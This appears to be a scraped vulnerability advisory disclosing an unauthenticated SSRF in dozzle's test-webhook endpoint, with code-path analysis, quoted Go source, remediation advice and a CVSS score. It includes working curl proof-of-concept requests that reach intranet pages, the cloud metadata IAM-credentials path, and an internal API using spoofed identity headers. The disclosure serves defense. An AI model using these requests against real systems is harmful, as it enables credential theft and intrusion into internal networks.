| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/amir20/dozzle | ≤ 8.14.12mọi phiên bản | |
| dozzle | < 10.5.2 | 10.5.2 |
In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:
This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.
internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).
main.go:58-59 → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18 → AuthProvider default is "none"
main.go:231-243 → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188 → /api/notifications/* (incl. /test-webhook) is inside that conditional Group
So the default Quickstart deploy
docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest
exposes POST /api/notifications/test-webhook to the network without any authentication.
// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
var input TestWebhookInput
if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
...
webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
...
result := webhook.SendTest(r.Context(), mockNotification)
...
writeJSON(w, http.StatusOK, &TestWebhookResult{
Success: result.Success,
StatusCode: statusCode,
Error: errStr,
})
}
input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.
// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
limitedReader := io.LimitReader(resp.Body, 1024*1024) // 1 MB
responseBody, _ := io.ReadAll(limitedReader)
...
return TestResult{
Success: false,
StatusCode: resp.StatusCode,
Error: fmt.Sprintf("webhook returned status code %d: %s",
resp.StatusCode, string(responseBody)),
}
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíWhen the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.
Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
Response shape (writeJSON to the public Internet):
{
"Success": false,
"StatusCode": 401,
"Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.
curl -X POST -H "Content-Type: application/json" \
-d '{
"url":"http://internal-api.example.com:8080/admin/users",
"headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
}' \
http://dozzle.example.com/api/notifications/test-webhook
test-webhook when Authorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.WebhookDispatcher. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.Success: bool, StatusCode: int.AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).internal/web/notifications.go:652-716internal/notification/dispatcher/webhook.go:88-120internal/web/routes.go:130-138, 172-188internal/support/cli/args.go:18, main.go:231Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.